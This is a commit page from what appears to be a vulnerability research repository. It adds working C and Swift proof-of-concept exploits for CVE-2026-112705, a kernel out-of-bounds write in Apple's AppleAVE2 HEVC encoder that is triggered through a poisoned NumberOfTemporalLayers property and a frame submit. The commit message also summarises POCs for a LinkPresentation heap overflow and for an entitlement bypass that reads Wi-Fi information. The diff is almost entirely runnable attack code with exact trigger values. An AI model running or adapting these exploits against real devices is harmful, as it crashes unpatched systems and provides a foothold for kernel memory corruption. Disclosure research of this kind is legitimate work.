v2.1 — CVE-2026-112705 / 112621 / 84636
Three public research arrivals, each with a .swift and .c POC folder: - CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire); C twin carries a --force-host gate because a frame submit reaches the same driver that panicked the dev Mac, so the host only builds it - CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 -> 256x48 container, loopback og:image delivery, LPMetadataProvider; probe checks the pool math, fire runs the real transcode; C twin reproduces the 48-row clear against a guard page (32,768 B past the 16,384-byte pool) - CVE-2026-84636 (configd dynamic store): SSID + router MAC without the wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo 56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA 2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).
This commit is contained in:
1 parent
7949c7ce9f
commit
ed682e859b
12 files changed
+1336
-21
No files matched your search
@@ -0,0 +1,130 @@
|
||||
// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705
|
||||
// C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control
|
||||
// selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit.
|
||||
//
|
||||
// Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table.
|
||||
// On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives.
|
||||
// iOS 27.2 refuses the property with -12900.
|
||||
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
||||
// panic the host kernel.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <TargetConditionals.h>
|
||||
#include <VideoToolbox/VideoToolbox.h>
|
||||
#include <CoreMedia/CoreMedia.h>
|
||||
#include <CoreVideo/CoreVideo.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) {
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
int32_t st = VTSessionSetProperty(s, k, value);
|
||||
CFRelease(k);
|
||||
return st;
|
||||
}
|
||||
|
||||
static void print_readback(VTCompressionSessionRef s, const char *key) {
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
CFTypeRef out = NULL;
|
||||
int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out);
|
||||
if (st == 0 && out) {
|
||||
CFStringRef d = CFCopyDescription(out);
|
||||
char buf[256] = {0};
|
||||
if (d) {
|
||||
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
|
||||
CFRelease(d);
|
||||
}
|
||||
printf("%s\n", buf);
|
||||
CFRelease(out);
|
||||
} else {
|
||||
printf("copyErr=%d\n", st);
|
||||
}
|
||||
CFRelease(k);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int layers = 16463;
|
||||
int force_host = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
||||
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
||||
}
|
||||
|
||||
VTCompressionSessionRef session = NULL;
|
||||
OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCMVideoCodecType_HEVC, NULL, NULL,
|
||||
NULL, NULL, NULL, &session);
|
||||
printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create);
|
||||
if (create != 0 || !session) return 1;
|
||||
|
||||
int one = 1, twenty = 20;
|
||||
CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one);
|
||||
CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty);
|
||||
int32_t su = set_prop(session, "EncoderUsage", n1);
|
||||
int32_t sr = set_prop(session, "RCMode", n20);
|
||||
CFRelease(n1);
|
||||
CFRelease(n20);
|
||||
set_prop(session, "RealTime", kCFBooleanFalse);
|
||||
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
||||
|
||||
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
||||
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
||||
CFRelease(n);
|
||||
printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn);
|
||||
printf("readback: ");
|
||||
print_readback(session, "NumberOfTemporalLayers");
|
||||
|
||||
if (sn != 0) {
|
||||
printf("property refused — fixed build (27.2+) or no AVE2 property here\n");
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if TARGET_OS_OSX
|
||||
if (!force_host) {
|
||||
printf("host guard: property accepted but no frame submitted.\n");
|
||||
printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n");
|
||||
printf("re-run with --force-host on a disposable machine to fire it.\n");
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionaryRef attrs = CFDictionaryCreate(NULL,
|
||||
(const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CVPixelBufferRef pb = NULL;
|
||||
CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs, &pb);
|
||||
printf("CVPixelBufferCreate status=%d\n", pc);
|
||||
CFRelease(attrs);
|
||||
CFRelease(empty);
|
||||
if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; }
|
||||
|
||||
for (int i = 0; i < 4; i++) {
|
||||
CMTime pts = CMTimeMake(i, 30);
|
||||
VTEncodeInfoFlags flags = 0;
|
||||
OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid,
|
||||
NULL, NULL, &flags);
|
||||
printf("encode[%d] status=%d\n", i, (int)st);
|
||||
if (st != 0) break;
|
||||
}
|
||||
VTCompressionSessionCompleteFrames(session, kCMTimeInvalid);
|
||||
printf("survived — this build does not panic\n");
|
||||
|
||||
CVPixelBufferRelease(pb);
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705
|
||||
// Kernel out-of-bounds write through NumberOfTemporalLayers.
|
||||
//
|
||||
// The encoder session accepts a layer count far past the table the driver sized.
|
||||
// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset
|
||||
// past its allocation; the kernel faults and the device panics. 16462 survives.
|
||||
// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900.
|
||||
// macOS carries the same driver: encode with a poisoned layer count can panic the
|
||||
// host kernel, so this file refuses to submit a frame unless --force-host is given.
|
||||
//
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
||||
|
||||
import Foundation
|
||||
import VideoToolbox
|
||||
import CoreMedia
|
||||
import CoreVideo
|
||||
|
||||
let args = CommandLine.arguments
|
||||
let forceHost = args.contains("--force-host")
|
||||
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
||||
|
||||
func fourCC(_ v: OSStatus) -> String {
|
||||
let n = UInt32(bitPattern: v)
|
||||
let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
|
||||
if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" }
|
||||
return "\(v)"
|
||||
}
|
||||
|
||||
func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
|
||||
VTSessionSetProperty(session, key: key as CFString, value: value)
|
||||
}
|
||||
|
||||
func readBack(_ session: VTCompressionSession, _ key: String) -> String {
|
||||
var out: CFTypeRef?
|
||||
let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
|
||||
guard st == 0, let v = out else { return "copyErr=\(st)" }
|
||||
return "value=\(v)"
|
||||
}
|
||||
|
||||
var session: VTCompressionSession?
|
||||
// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path.
|
||||
let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
|
||||
width: 1280, height: 720,
|
||||
codecType: kCMVideoCodecType_HEVC,
|
||||
encoderSpecification: nil,
|
||||
imageBufferAttributes: nil,
|
||||
compressedDataAllocator: nil,
|
||||
outputCallback: nil,
|
||||
refcon: nil,
|
||||
compressionSessionOut: &session)
|
||||
print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))")
|
||||
guard create == 0, let s = session else { exit(1) }
|
||||
|
||||
// The recipe: private usage selector 1 with rate-control mode 20 puts the session on
|
||||
// the AVE2 firmware path; real-time off keeps the frame queued.
|
||||
let su = set(s, "EncoderUsage", NSNumber(value: 1))
|
||||
let sr = set(s, "RCMode", NSNumber(value: 20))
|
||||
_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
|
||||
print("EncoderUsage=\(su) RCMode=\(sr)")
|
||||
|
||||
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
||||
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
||||
|
||||
if sn != 0 {
|
||||
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
exit(0)
|
||||
}
|
||||
|
||||
#if os(macOS)
|
||||
if !forceHost {
|
||||
print("host guard: property accepted but no frame submitted.")
|
||||
print("submitting a frame here can panic the macOS kernel through AppleAVE2.")
|
||||
print("re-run with --force-host on a disposable machine to fire it.")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
exit(0)
|
||||
}
|
||||
#endif
|
||||
|
||||
// One IOSurface-backed bi-planar frame is enough: the write lands while the driver
|
||||
// prepares the frame, before any compressed output exists.
|
||||
var attrs: [CFString: Any] = [:]
|
||||
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||
var pixelBuffer: CVPixelBuffer?
|
||||
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs as CFDictionary, &pixelBuffer)
|
||||
print("CVPixelBufferCreate status=\(pc)")
|
||||
guard pc == 0, let pb = pixelBuffer else { exit(1) }
|
||||
|
||||
for i in 0..<4 {
|
||||
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
|
||||
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb,
|
||||
presentationTimeStamp: pts,
|
||||
duration: .invalid,
|
||||
frameProperties: nil,
|
||||
infoFlagsOut: nil) { _, _, _ in }
|
||||
print("encode[\(i)] status=\(st) \(fourCC(st))")
|
||||
if st != 0 { break }
|
||||
}
|
||||
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
|
||||
print("survived — this build does not panic (fixed build or simulator)")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
Reference in new issue
Block a user